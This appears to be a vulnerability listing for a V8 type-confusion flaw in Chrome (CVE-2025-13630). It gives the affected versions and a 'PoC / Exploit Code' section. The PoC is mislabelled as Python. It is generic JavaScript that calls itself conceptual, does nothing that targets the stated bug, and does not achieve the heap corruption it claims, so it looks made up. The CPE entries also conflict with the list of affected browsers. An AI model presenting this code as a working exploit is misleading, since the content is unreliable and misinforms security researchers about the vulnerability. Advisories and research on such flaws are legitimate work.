Type Confusion in V8 in Google Chrome prior to 143.0.7499.41 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 143.0.7499.41
Chromium-based browsers using V8 engine < 143.0.7499.41
Microsoft Edge (Chromium-based) with affected V8 version
Opera with affected V8 version
Brave with affected V8 version
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13630 PoC - V8 Type Confusion
// This is a conceptual PoC demonstrating the type confusion attack pattern
// Actual exploitation requires specific V8 version and environment
function triggerTypeConfusion() {
// Create initial object with specific type
let obj = { x: 1.1, y: 2.2 };
// Force V8 to optimize this pattern
for (let i = 0; i < 10000; i++) {
obj.x = i;
}
// Type confusion trigger - modify object's hidden class
// This pattern may cause V8 to misoptimize type assumptions
obj.z = 3.3;
// Use polymorphic behavior to trigger confusion
function confuse(a, b) {
return a.x + b.y;
}
// Trigger with different types
confuse(obj, { x: 'string', y: 2.2 });
confuse(obj, [1, 2, 3]);
// Force deoptimization
confuse(obj, { x: Symbol(), y: 2.2 });
return obj;
}
// Heap corruption trigger
function triggerHeapCorruption() {
const buffer = new ArrayBuffer(0x1000);
const view = new Float64Array(buffer);
// Create objects that may share memory regions
let objects = [];
for (let i = 0; i < 100; i++) {
objects.push({ value: i });
}
// Trigger GC to create heap layout suitable for corruption
triggerTypeConfusion();
return view;
}
// Execute
try {
triggerTypeConfusion();
triggerHeapCorruption();
} catch (e) {
console.log('Error: ' + e.message);
}
console.log('PoC executed - upgrade Chrome to 143.0.7499.41 or later');